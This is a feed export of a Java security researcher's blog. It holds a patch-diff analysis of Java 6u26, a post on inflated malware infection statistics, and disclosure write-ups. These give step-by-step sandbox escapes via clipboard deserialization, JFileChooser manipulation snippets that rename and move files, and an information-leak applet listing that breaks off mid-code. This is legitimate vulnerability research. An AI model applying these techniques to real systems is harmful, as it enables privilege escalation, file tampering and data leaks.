tag:blogger.com,1999:blog-72837937108041382542024-03-05T05:59:30.887-08:00(Slightly) Random Broken ThoughtsThe views expressed on this blog are my own and do not necessarily reflect the views of Oracle.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.comBlogger47125tag:blogger.com,1999:blog-7283793710804138254.post-43999607915656736672011-06-07T22:52:00.000-07:002011-06-09T10:49:29.271-07:00Java 6 update 26 is out<span style="font-weight: bold;">Blog Update:</span> I mapped some of the CVEs to these results.<br /><br /><br />Oracle has released a <a href="http://www.oracle.com/technetwork/topics/security/javacpujune2011-313339.html">security</a> update for Java. If you have Java installed and haven't updated your Java yet, <a href="http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html">do it now</a>. I'll wait.<br /><br />No, really. I'm not going on until you do.<br /><br />...<br /><br />OK, great. Now, I'm going to try something new and analyze the differences between Java 6 update 25 and Java 6 update 26. And we'll try to figure out what the underlying vulnerability might have been.<br /><br />For the comparison, I'll be using my rather stale open source project <a href="http://rejava.sourceforge.net/">reJ/rejava</a>. You feed it two .jars and it does a binary comparison of each of the files in the .jar, and indicates which files are new, removed, or changed. It then allows you to open these changed files and it does another diff on method level, and yet another on the bytecode level of each changed method. It works OK, sometimes the algorithm consumes all the memory available, though.<br /><br />Let's get started:<br /><br /><span style="font-weight: bold;">File: rt.jar</span> (the runtime - heart and soul of Java):<br /><br /><span style="font-weight: bold;">Package: sun.util.resources</span><br />TimeZoneNames<br />TimeZoneNames_de<br />TimeZoneNames_es<br />TimeZoneNames_fr<br />TimeZoneNames_it<br />TimeZoneNames_pt_BR<br />TimeZoneNames_sv<br /><br />These are not security related, just updating the time zone data. OK, I got curious. rej chokes on these files, because they're big. It seems the change is more or less the same as this:<br /><br /><a href="http://hg.openjdk.java.net/jdk7/build/jdk/rev/55f97ad0a36e">http://hg.openjdk.java.net/jdk7/build/jdk/rev/55f97ad0a36e<br /></a><br />Namely the addition of America/Metlakatla and America/Sitka<br /><br /><br /><span style="font-weight: bold;">Package: sun.misc</span><br />Version<br /><br />Also not security related. Updated the version strings to update 26.<br /><br /><br /><span style="font-weight: bold;">Package: sun.java2d.pipe</span><br />DrawImage<br /><br />Not security related. The line numbers have changed, maybe a comment added to the code. I'm compaing the rt.jar from the JDK which has debugging information (like source-code line number information) included.<br /><br /><br /><span style="font-weight: bold;">Package: javax.swing</span><br />ImageIcon<br /><br />This is security related. But from a quick look, I can't figure out what the vulnerability is. The source for this class is available in the src.zip of the JDK for both versions. The ImageIcon has a static protected component field whose appContext field is set to null in a privileged block. In the new version this component is instantiated in another doPrivileged block which removes all it's permissions.<br /><br /><blockquote><span style="font-style: italic;">It was found that the MediaTracker implementation created Component</span><span style="font-style: italic;"> instances with unnecessary access privileges. A remote attacker could use</span><span style="font-style: italic;"> this flaw to elevate their privileges by utilizing an untrusted applet or</span><span style="font-style: italic;"> application that uses Swing. (CVE-2011-0871)</span><br /></blockquote><br /><br /><span style="font-weight: bold;">Package: java.security</span><br />SignedObject<br /><br />This looks security related as well. Also available in the src.zip. SignedObject's readObject method has been updated. The update 25 version looked like this:<br />s.defaultReadObject();<br />content = (byte[])content.clone();<br />signature = (byte[])signature.clone();<br /><br />and the update 26 looks like this:<br /><br /> java.io.ObjectInputStream.GetField fields = s.readFields();<br /> content = ((byte[])fields.get("content", null)).clone();<br /> signature = ((byte[])fields.get("signature", null)).clone();<br /> thealgorithm = (String)fields.get("thealgorithm", null);<br /><br />This might be related to the problems of serialization <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/07/why-complexpowerful-is-bad-combination.html">I wrote about</a>. In the old version you could deserialize a SignedObject and get a reference to it, and the internal byte arrays for content and signature and pause the deserialization process before the two fields were replaced by clone().<br /><br /><blockquote style="font-style: italic;">A flaw was found in the way signed objects were deserialized. If trusted and untrusted code were running in the same Java Virtual Machine (JVM), and both were deserializing the same signed object, the untrusted code could modify said object by using this flaw to bypass the validation checks on signed objects. (CVE-2011-0865)<br /></blockquote><br /><br /><span style="font-weight: bold;">Package: java.net</span><br />NetworkInterface<br /><br />This a fix to the NetworkInterface.toString() method spilling out IP addresses, etc that I presented as an example of Trusted Method Chaining at the <a href="http://t2.fi/">t2 infosec conference</a> in 2010 and <a href="http://slightlyrandombrokenthoughts.blogspot.com/2011/02/trusted-method-chaining-for-network.html">blogged about</a> earlier this year. Kudos to Oracle for reading my blog. Now the toString() method doesn't return IP addresses anymore.<br /><br /><span style="font-style: italic;"></span><blockquote><span style="font-style: italic;">An information leak flaw was found in the NetworkInterface class. An</span><span style="font-style: italic;"> untrusted applet or application could use this flaw to access information</span><span style="font-style: italic;"> about available network interfaces that should only be available to</span><span style="font-style: italic;"> privileged code. (CVE-2011-0867)</span><br /></blockquote><br /><br /><span style="font-weight: bold;">Package: com.sun.xml.internal.messaging.saaj.client.p2p</span><br />HttpSOAPConnection<br /><br />This is a fix to another slight issue I talked about at the t2 infosec conference, the HttpSOAPConnection class used to do HTTP requests that violated the same origin policy. That has been fixed. And as a bonus, this class used to set system proxy settings, which I hadn't mentioned anywhere, but which was on my TODO list. I guess I can remove it now. I didn't blog about that, so I guess that means Oracle also looked at <a href="https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=18JG-rcMQxOEW9SSqYZjLWjFy0mYAFXb2VNXmo0xaXh2wrjV6oiixPx_sCZiH&hl=en">my presentation slides</a>. Nice.<br /><br /><blockquote style="font-style: italic;">It was found that untrusted applets and applications could misuse a SOAP connection to incorrectly set global HTTP proxy settings instead of setting them in a local scope. This flaw could be used to intercept HTTP requests. (CVE-2011-0869)</blockquote><br /><br /><br /><span style="font-weight: bold;">Package: com.sun.org.apache.bcel.internal.classfile</span><br />Utility<br /><br />OK, you guessed right. This fixes yet another issue I talked about at the t2 infosec conference, and blogged about <a href="http://slightlyrandombrokenthoughts.blogspot.com/2011/01/trusted-method-chaining-to-systemexit.html">here</a>. That is, this class which seems to originate from the <a href="http://jakarta.apache.org/bcel/">BCEL project</a>, had some funky logic which lead to a System.exit(), if instrumented in the right way. The System.exit() has been removed.<br /><br /><br /><span style="font-weight: bold;">File: plugin.jar</span> (as the name suggests, this has Java plugin specific stuff)<br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: resources.jar</span><br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: jsse.jar</span> (Java Secure Socket Extension)<br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: jce.jar</span> (Java Cryptography extension)<br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: javaws.jar</span> (Java Web Start)<br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: deploy.jar</span><br /><br /><span style="font-weight: bold;">Package: com.sun.deploy.config</span><br />Config<br /><br />There's a binary difference, but reJ doesn't detect any bytecode differences. I'm guessing this is another linenumber difference.<br /><br /><br /><span style="font-weight: bold;">Package: com.sun.deploy.util</span><br />JVMParameters<br />SecurityBaseline<br />URLUtil<br /><br />SecurityBaseline has version information which has been updated.<br /><br />JVMParameters has a change that has something to do with verifying if a Parameter is secure, but I can't figure out what's the net effect here. This seems to be clearly security related, but I can't figure out how severe. <span style="font-weight: bold;">Update:</span> I'm guessing this might be related to: <a href="http://zerodayinitiative.com/advisories/ZDI-11-192/">ZDI-11-192 by Chris Ries</a>.<br /><br />URLUtil has a change in the checkTargetURL method which that deals with jar and file URLs. This also seems to be clearly security related, but I can't figure out how severe.<br /><br /><span style="font-weight: bold;">Update:</span> As pointed out in the comments, this seems to be the fix for non-security bug, <a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7020709">Bug ID 7020709</a>. Thanks <a href="http://twitter.com/#%21/mihi42">@mihi42</a>!<br /><br /><br /><span style="font-weight: bold;">File: charsets.jar</span><br /><br />No changes.<br /><br /><br /><span style="font-weight: bold;">File: sunpkcs11.jar</span><br /><br /><span style="font-weight: bold;">Package: sun.security.pkcs11</span><br />Config<br />ConfigurationException<br />P11Cipher<br />Secmod<br /><br />Config and Secmod seem to have real changes, but I'm not familiar enough with the pkcs packages to quickly assess what's going on.<br /><br />By my counts that means that the majority of the fixed issues are in the native side, which I won't be dealing with here.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com4tag:blogger.com,1999:blog-7283793710804138254.post-52606460700021083902011-06-01T23:15:00.000-07:002011-06-02T01:45:49.973-07:00Inflated Java Malware Infection RatesIn the past year or so, I've read many articles on Java malware (most recently Gregg Keizer's <a href="http://www.computerworld.com/s/article/9217113/New_malware_scanner_finds_5_of_Windows_PCs_infected">article at Computer World</a> and Dustin's <a href="http://marxsoftware.blogspot.com/2011/05/java-exploits-biggest-threat-to-pcs.html">blogpost at "Inspired by Actual Events"</a> ). The fact that many of the top offenders are based on vulnerabilities I've found (CVE-2008-5353, CVE-2010-0840, CVE-2010-0094) makes me wince every time I read one of these (I don't consider myself to be one of the bad guys just because I like to break things).<br /><br />None of the articles pointed out one important thing that might very well be distorting Java malware infection rates, and it's this: The fact that <a href="http://www.microsoft.com/en-us/security_essentials/default.aspx">Microsoft Security Essentials</a>, or any other Anti-virus correctly identified the presence of a malicious piece of Java code on a user's machine does not mean that user was infected. Infection might not even be likely.<br /><br />The way Java works with Applets is that when there's an applet tag on a page, Java downloads the relevant code and saves it in the Java cache (...\username\Application Data\Sun\Java\Deployment\cache). The code is then executed from disk. If your Java is up-to-date, CVE-2008-5353, CVE-2010-0840, CVE-2010-0094 all fail to execute, resulting in a SecurityException. But the offending code will remain in the cache and Security Essentials will find it and report it. It will inflate the statistics.<br /><br />I verified this on a Windows XP with the latest Java (Java 6 update 25), executing the <a href="http://www.metasploit.com/modules/exploit/multi/browser/java_calendar_deserialize">CVE-2008-5353 Applet from Metasploit</a>, which is detected by Security Essentials. As the Java is up-to-date, the exploit never executed. Nevertheless Security Essentials correctly identified CVE-2008-5353.<br /><br />In conclusion, I do recognize that Java is notoriously badly updated by a big part of the user base and we wouldn't see tons of Java malware if some of it wasn't successful, but I think the Java malware infection rates are inflated by cases where users have malware in their cache that was never able to escape the sandbox of an updated Java.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com4tag:blogger.com,1999:blog-7283793710804138254.post-91646011475887232292011-03-10T20:32:00.000-08:002011-03-10T20:39:15.355-08:00Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability<span style="font-size:180%;">Multiple Java Clipboard Vulnerabilities for Applets</span><br /><br /><span style="font-weight: bold;">ZDI Identifier:</span><b> </b><a href="http://zerodayinitiative.com/advisories/ZDI-11-083/">ZDI-11-083</a><b><br /></b><span style="font-weight: bold;">CVE Identifier:</span><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4465"> CVE-2010-4465</a><br /><span style="font-weight: bold;">Vulnerable Java versions:</span> Java 6u23 and older.<br /><br /><span style="font-weight: bold;font-size:130%;" >Abstract</span><br /><br />Java has a basic mechanism protecting the system clipboard from being programmatically accessed by sandboxed code. Such operations will instead automatically act on an application-scope, local clipboard. However, this mechanism can be trivially bypassed.<br /><br />Additionally, with the TransferableProxy class, the clipboard can be used for privileged deserialization.<br /><br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">Vulnerability 1</span> - Hijacking system clipboard upon user action</span><br /><br />Should the user press <span style="font-weight: bold;">CTRL+C</span> or <span style="font-weight: bold;">CTRL+X</span> with the focus in a custom component, a reference to the system clipboard can be obtained and held onto for the rest of the lifetime of the applet. This would enable an applet to eavesdrop passwords or other sensitive information that might already exist or come to exist on the clipboard. Also, the applet might alter the data on the clipboard.<br /><br />This is achieved by adding a custom (javax.swing.)TransferHandler to any focusable GUI component. Upon a copy/cut operation initiated by a user, the windowing framework calls the exportToClipboard method of the TransferHandler passing a reference to the System clipboard (in Windows environment, an instance of the class sun.awt.windows.WClipboard).<br /><br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">Vulnerability 2</span> - Automated hijacking of system clipboard<br /></span><br />Same as the first vulnerability, but automating the system clipboard hijack by triggering the copy operation automatically and thus gaining access to the system clipboard without requiring any user action. This is done by creating a new AWT EventQueue and putting a KeyEvent for a copy operation on the queue.<br /><br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">Vulnerability 3</span> - Privilege escalation via privileged deserialization<br /></span><br />A TransferableProxy object can be put on the clipboard. Any object contained within the TransferableProxy will be serialized upon a copy action and deserialized upon a paste action. The paste action can be invoked in such a manner that no untrusted code will be on stack (using javax.swing.Timer), effectively doing an implicitly privileged deserialization. The problems of privileged deserialization <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html">have been well established</a>. The easiest way to exploit it is to create a Serializable subclass of ClassLoader which can then be used to define classes with full privileges. An unsigned applet will thus gain the full privileges of the user running the browser.<br /><br />More specifically this attack is carried on by executing the following steps:<br /><br /><ul><li>Set up a JTextField component on the screen</li><li>Define a custom TransferHandler to handle the copy/paste operations of the text field</li><li>Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+C keystroke</li><li>Use javax.swing.Timer to execute said copy action</li><li>This causes the Java event framework to call exportToClipboard on our custom TransferHandler</li><li>Create a TransferableProxy containing a custom Transferable object</li></ul><br />TransferableProxy is in the sun.awt.datatransfer package and can't be instantiated with the "new" keyword, as the SecurityManager won't allow direct access to sun.* packages.<br /><br />Instead, the method createTransferableProxy() of class java.awt.dnd.DropTargetContext is used. It's a trusted class and the method wraps a given Transferable object into a TransferableProxy object and returns it.<br /><br />However, the createTransferableProxy() method is an instance method (non-static) and has the access modifier "protected" so we need to subclass DropTargetContext and create a public method we can call which then calls the protected method.<br /><br />We call the public method wrapTransferable(). It takes a Transferable object as a parameter and returns a TransferableProxy which contains the given Transferable object.<br /><br />DropTargetContext constructor has the access modifier "default" so not even our subclass can access it. But DropTargetContext is a Serializable class, so we can create our subclass which the compiler says is wrong because the superclass constructor isn't visible, but the JVM doesn't enforce this as long as we instantiate our object by deserialization. <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/04/mutable-inetaddress-socket-policy.html">Sounds familiar?</a><br /><br />So we forge serial data which contains an instance of our subclass and use it to deserialize a DropTargetContext2 (our subclass) instance. The subclass has the public wrapTransferable() method, which we call, passing a custom Transferable (EvilTransferable) object to be wrapped.<br /><ul><li>Put the resulting TransferableProxy on the clipboard</li><li>Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+V keystroke</li><li>Use javax.swing.Timer to execute said paste action</li><li>This will cause the TransferableProxy.getTransferData() method to be called in a privileged context</li></ul>In order to get here, the DataFlavor of our custom Transferable (EvilTransferable) does a trick where it checks the caller of the getSubType() by creating a String of the current stacktrace and returns "x-java-jvm-local-objectref" as the subType if the caller is TransferHandler.getPropertyDataFlavor, but returns "application/x-java-serialized-object" for all the other callers. This is a dirty hack to satisfy a condition in the getTransferData() method and to force a desired execution flow.<br /><ul><li>Said method calls getTransferData() on the contained custom Transferable (EvilTransferable) object</li><li>EvilTransferable obtains a case3.CL object loaded by the second applet tag on the page</li></ul>The class of this object has the same name and same serialization signature as our classloader subclass, but it's a different class, one that doesn't extend ClassLoader and that can be instantiated easily. Because it was defined by another classloader (because of the 2nd applet tag where it was defined), it can have the same full name.<br /><br />EvilTransferable puts this object into the first index of an Object array, and in the second index it puts an instance of the Class object of the local case3.CL. The serialization/deserialization of TransferableProxy stores the ClassLoader of each object in a map where the key is the classname. The class object in the array confuses this map, and the local classloader is used for deserializing the case3.CL object, and not the other applet classloader.<br /><ul><li>EvilTransferable returns an array containing a case3.CL object and a case3.CL class object</li><li>TransferableProxy.getTransferData() serializes the CL object into a byte array</li><li>TransferableProxy.getTransferData() deserializes the byte array data</li><li>The deserialized CL object is initialized because the deserialization happens in (an implicitly) privileged context (no untrusted code on stack at this point)</li><li>The CL object, upon deserilization (in the readObject() method), defines a malicious class with full privileges and executes it</li></ul><br /><span style="font-weight: bold;font-size:130%;" >The Outcome<br /></span><br />Potentially harmful Java code from an untrusted source gains read/write access to system clipboard (vulnerabilities 1&2), and full privilege escalation to do anything with the privileges of the user running the browser (vulnerability 3).<br /><br /><br /><span style="font-weight: bold;font-size:130%;" >Exploitation vectors<br /></span><br />User, using any browser with applets enabled, accesses a malicious page with an applet tag, or a page with an injected malicious applet tag.<br /><br /><br /><span style="font-weight: bold;font-size:130%;" >The Fix<br /></span><br />In Java 6 update 24 Oracle fixed this issue, along with the <a href="http://slightlyrandombrokenthoughts.blogspot.com/2011/02/java-jfilechooser-programmatic.html">JFileChooser issue</a> I had blogged about earlier.<br /><br />A quick analysis suggests it's a pretty good fix. Starting with the obvious, Timer now captures the access control context when initialized and uses that context for execution. No more javax.swing.Timer freebies.<br /><br />But Oracle went further than that and now Components and AWTEvents also capture the AccessControlContext when they are initialized. And when the event thread is processing events it does an intersection of current permissions, the permissions of the event and the permissions of the source component of that event.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com3tag:blogger.com,1999:blog-7283793710804138254.post-29236120169979921102011-02-06T20:24:00.000-08:002011-02-11T08:41:55.974-08:00Java JFileChooser Programmatic Manipulation Vulnerability<span style="font-weight: bold;font-size:130%;" >Java GUI Manipulation Vulnerability</span><br /><br />This bug reaches the severity threshold where ideally I wouldn't talk about it until a fix has been issued, but as the Facebook relationship status would put it: It's complicated. It doesn't qualify for ZDI because I already notified Sun by myself in <span style="font-weight: bold;">2008</span> about various vulnerabilities, first via their bug tracking (I didn't know any better) system and later on via e-mail to their security address, which resulted in the famous Calendar Serialization issue getting fixed. This JFileChooser issue just never got fixed. To be clear: after 2008, they never got back to me and I didn't harass them to fix it.<br /><br /><span style="font-weight: bold;font-size:130%;" >JFileChooser and FormView allow unsigned applets to read file-system structure (file/folder names), renaming files and moving files</span><br /><br /><span style="font-weight: bold;">Affected Operating Systems (at least)</span>: Windows XP, Windows 7<br /><span style="font-weight: bold;">Affected Java Versions (at least)</span>: Java 6 update 23<br /><br /><span style="font-weight: bold;font-size:130%;" >Details<br /></span><br />javax.swing.JFileChooser is a Java Swing component that allows the user to choose a file on the local filesystem. It cannot normally be used on an applet, because the initialization tries to read the user.home system property which is not permitted. So, if you try to do a "new JFileChooser()" you get a SecurityException and you won't get a handle to any object. And if you use the finalizer attack, you get an instance that isn't really functional.<br /><br />This is where javax.swing.text.html.FormView comes in. It has a createComponent() method, which - with the right setup - creates a bunch of objects, one of them being a button, whose ActionListener creates a JFileChooser. That ActionListener can be extracted and then javax.swing.Timer can be used to execute the ActionListener.<br /><br />Timer is used for executing ActionListeners in a timed fashion, and due to that nature, it executes them on a separate Thread which has no user code on the stack. In other words, it executes ActionListeners in a privileged context. Thus, the JFileChooser constructor runs fine.<br /><br />So, a JFileChooser is created and displayed on the screen and the user can interact with it, but that doesn't do us much good, since we don't even have a reference to the JFileChooser. That's where Window.getWindows() comes in. It returns an array of all Windows accessible to the Applet, the JFileChooser being one of them. This way we get a reference to our JFileChooser instance.<br /><br />What can we do with a JFileChooser? It only has methods for getting the selected file(s), once the user has made his selection and that's no good.<br /><br />We can, however, define a FileFilter for the JFileChooser and that's interesting, because it'll receive File objects for each file in the current directory (so it can tell JFileChooser whether or not to display the file in question). This happens for the initial folder and also for any other folders, should the user navigate elsewhere with the JFileChooser. But since the user is not expecting to see a file chooser dialog, not a lot of navigation is to be expected.<br /><br />There's an even better method to interact with the JFileChooser. Java AWT/Swing superclass java.awt.Component provides the method getComponents() which returns an array of child components. This way if you start at the top, in this case the JFileChooser, you can navigate to all the child components of the GUI, the buttons, the comboboxes, everything. Combine that with the fact that javax.swing.Timer can be used to execute the ActionListeners of any of these GUI components and you can pretty much simulate any user action on the JFileChooser.<br /><br />So, we can view the file system structure of the machine running the applet. The JFileChooser has two additional interesting functionalities, which are the following: It can create empty folders and it can rename files and folders. Also, renaming files to "../newname" moves them toward the root in the filesystem and renaming files to "folder/newname" moves them into the folder. This means we can also move the files and folders.<br /><br />Depending on other configuration like operating system, etc, this might be used for delayed Remote Code Execution. For example, a .jar might be moved from the Java Cache into the Java extension folder which has higher permissions. Or imagine an executable posing as an image, which gets renamed, then moved to a system folder.<br /><br /><br /><span style="font-weight: bold;font-size:130%;" >Original bug report (2008)<br /></span><br /><span style="font-weight: bold;">Bug ID:</span> 6764977<br /><span style="font-weight: bold;">Review ID:</span> 1379484<br /><br /><blockquote><span style="font-weight: bold;">Date Created:</span> Sun Oct 26 19:59:11 MST 2008<br /><span style="font-weight: bold;">Type:</span> bug<br /><span style="font-weight: bold;">Customer Name:</span> Sami Koivu<br /><span style="font-weight: bold;">Customer Email:</span> <a href="mailto:sami.koivu@gmail.com">sami.koivu@gmail.com</a><br /><span style="font-weight: bold;">SDN ID:</span> <a href="mailto:sami.koivu@gmail.com">sami.koivu@gmail.com</a><br /><span style="font-weight: bold;">status:</span> Waiting<br /><span style="font-weight: bold;">Category:</span> java<br /><span style="font-weight: bold;">Subcategory:</span> classes_swing<br /><span style="font-weight: bold;">Company:</span> IT7 Solution Technology<br /><span style="font-weight: bold;">release:</span> 6u10<br /><span style="font-weight: bold;">hardware:</span> x86<br /><span style="font-weight: bold;">OSversion: </span>win_xp<br /><span style="font-weight: bold;">priority:</span> 4<br /><span style="font-weight: bold;">Synopsis:</span> FormView allows untrusted applet read access to the filesystem structure<br /><span style="font-weight: bold;">Description:</span><br />FULL PRODUCT VERSION :<br />java version "1.6.0_10"<br />Java(TM) SE Runtime Environment (build 1.6.0_10-b33)<br />Java HotSpot(TM) Client VM (build 11.0-b15, mixed mode, sharing)<br /><br />ADDITIONAL OS VERSION INFORMATION :<br />Microsoft Windows XP [version 5.1.2600]<br /><br />A DESCRIPTION OF THE PROBLEM :<br />javax.swing.text.html.FormView allows an untrusted applet to instantiate a <span class="il">JFileChooser</span> in the event thread without untrusted applet code on the stack thus escaping intervention of a SecurityManager.<br /><br />FormView can be subclassed and instantiated in such a way that the createComponent method returns a Component which contains a button whose ActionListener is the inner class BrowseFileAction.<br /><br />This BrowseFileAction can then be extracted and executed via javax.swing.Timer on the event thread. The important thing to notice is that there will be no applet code on the stack and thus the applet security manager will allow the operation.<br /><br />A <span class="il">JFileChooser</span> dialog is opened. A reference to this dialog can be obtained via Window.getWindows(). Through this reference, using the AWt/Swing component structure (basically calling getComponent() to access the children of each GUI component) the filenames in the current (default) directory can be obtained. The dialog can also be manipulated in order to change the current browsing directory in the same fashion. Thus the whole directory structure on the system of the user running the applet could be obtained.<br /><br />Unconfirmed, but it seems probable it would be possible to stimulate the file rename functionality as well, allowing an untrusted applet to rename any file on the system of the user running the applet.<br /><br />It should also be noted that the dialog can be made invisible as soon as a reference to it is obtained (causing the dialog to only briefly appear on the screen).<br /><br />I have a raw example of this available if absolutely necessary, but it is rather verbose and not very readable.<br /><br />STEPS TO FOLLOW TO REPRODUCE THE PROBLEM :<br />Stimulate FormView.BrowseFileAction to show a <span class="il">JFileChooser</span> dialog.<br /><br />EXPECTED VERSUS ACTUAL BEHAVIOR :<br />EXPECTED -<br />Either the action object is somehow made inaccessible or security manager will perceive somehow that there is applet code behind this operation disallowing the operation.<br />ACTUAL -<br />A <span class="il">JFileChooser</span> object is instantiated and displayed on the screen and can be manipulated in a manner that will at the very least invade the privacy of the web surfer.<br /><br />REPRODUCIBILITY :<br />This bug can be reproduced always.<br /></blockquote><br /><br /><span style="font-weight: bold;font-size:130%;" >Evaluation from Sun Microsystems (2008)</span><br /><blockquote>It's perfectly correct to create JFileChooser under SecurityManager,<br />and in this case user will be able to browse the file structure,<br />it is *the code* who will not be able to do anything with those files<br /><br />The bug's description doesn't show any way how an untrusted applet can read<br />the filesystem structure, we need more information<br />Posted Date : 2008-11-10 15:06:03.0</blockquote><br /><br /><span style="font-weight: bold;font-size:130%;" >My response to evaluation (2008)</span><br /><blockquote>Ok, maybe the initial bug description was too superficial.<br /><br />Here's a more detailed one. I'll do a bullet list and if necessary I can later be more specific on any single item.<br /><br />* An instance of FormView's private inner class BrowseFileAction can be extracted.<br /><br />* Said instance can be executed with javax.swing.Timer. The Timer class is used to executed ActionListeners in a timed fashion. When the Timer class is used to execute core ActionListeners only trusted code will be on stack and the security manager allows everything. BrowseFileAction is not the only problem. (BasicFileChooserUI.NewFolderAction can be used to create folders and there must be other vulnerable ActionListeners in the rt.jar, as well).<br /><br />* When executed, BrowseFileAction opens a JFileChooser dialog. This alone might be acceptable or not. Keep reading.<br /><br />* The java.awt.Window class has a method called getWindows() which according to the javadoc: "Returns an array of all {@code Window}s, both owned and ownerless, created by this application."<br /><br />* Said method can be used to obtain a reference to the window which contains the JFileChooser instance. This goes something like:<br />JDialog dlg = (JDialog) Window.getWindows( ... );<br />JRootPane root = dlg.getRootPane();<br />JLayeredPane layered = (JLayeredPane) root.getComponent(1);<br />JPanel panel = (JPanel) layered.getComponent(0);<br />JFileChooser fc = (JFileChooser) panel.getComponent(0);<br /><br />* (if you set your custom FileFilter on this instance, it will call your FileFilter's accept method once which each file of the current directory *the code* will be receiving this information)<br /><br />* You can use the Container.getComponent(int) method on the JFileChooser to obtain all the direct and subcomponents of the JFileChooser. That is, the JComboBox subclass which controls the current directory and the sun.swing.FilePane object which contains a JList which contains the files in the current directory. You would go about it like this (YMMV):<br /><br />JPanel panel = (JPanel) fc.getComponent(0);<br />JComboBox combo = (JComboBox) panel.getComponent(2);<br /><br />* You can manipulate the JComboBox to change the current directory. You might, for instance, obtain the actionlisteners of the combobox, remove them from the combobox, set the seleted index of the combobox to a different value and then user javax.swing.Timer to execute the actionlisteners to update the JFileChooser.<br /><br />* You can get the action for editing a filename from the FilePane in the same way described above. You can then execute the EditActionListener using javax.swing.Timer. This will cause the JFileChooser to display a JTextField for editing the filename. A reference to this JTextField can be obtained as described above (Container.getComponent(int)). The value of the text can be change by *the code* (setText(String) and another action can be invoked via javax.swing.Timer to tell JFileChooser that editing has terminated which will cause it to rename the file. Or move the file, if the file is renamed to "../filename" or "folder/filename".<br /></blockquote><br /><br /><span style="font-weight: bold;font-size:130%;" >Example - Caution, running this will rename and move a file on your system<br /></span><br />(This works on Windows XP/Windows 7, file renaming doesn't work on Linux though it might be possible with extra effort)<br /><br />It pops up a JFileChooser, goes to the first folder in the Location combobox, selects the 6th file and prefixes the name with "new" and moves it to the parent directory.<br /><br />EDITED: This link is just the source code of the example. Safe to click. In order to run it you would need to compile it and create a page with an applet definition.<br /><br /><a href="http://pastebin.com/mTCztGbQ">http://pastebin.com/mTCztGbQ</a>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com10tag:blogger.com,1999:blog-7283793710804138254.post-603659380005360732011-02-01T07:42:00.002-08:002011-02-01T08:26:05.905-08:00Trusted Method Chaining for Network Interface details<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style>Here's yet another <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html">Trusted Method Chaining</a> instance. This one can be used for listing network interface details. No need for anything tricky (such as classes created with a custom compiler) this time. However, since this is an information leak, it's not simply enough to call the method - we need to get our hands on the return value, as well. I'm not sure if it could be scraped off of the screen, but it's really simple to define our own renderer to which the GUI passes the information quite handily.<br /><br />By the way, this instance and the previous one along with some others were uncovered by a prototype of an automated tool that searches a set of classes for interesting chaining instances.<br /><br />This one's simple:<br /><ul><li>java.net.NetworkInterface.getNetworkInterfaces() returns an Enumeration of network interfaces, in the form of NetworkInterface objects.</li><li>NetworkInterface.toString() calls getInetAddresses()</li><li>NetworkInterface.getInetAddresses() has a security check, so it can't be called directly</li></ul><br />To create the chain:<br /><ul><li>Put all NetworkInterface objects in a JList</li><li>Make JList visible</li></ul><br />To get the programmatic access to the values, we can set a DefaultListCellRenderer subclass as the renderer for the JList. The setText() method of our renderer receives all displayed values.<br /><br />Here's an example that gets all the interface information and dumps it to the Java console. It probably gets repeated a few times because of how the Java GUI works:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN STYLE="bl"> ex6.chaining.networkinterfaces;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.applet.Applet;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.net.NetworkInterface;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.util.Enumeration;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.util.Vector;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> javax.swing.DefaultListCellRenderer;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> javax.swing.JList;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> Example </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN STYLE="bl"> Applet {</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> start() {</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN STYLE="bl">Vector interfaceList = </SPAN><SPAN 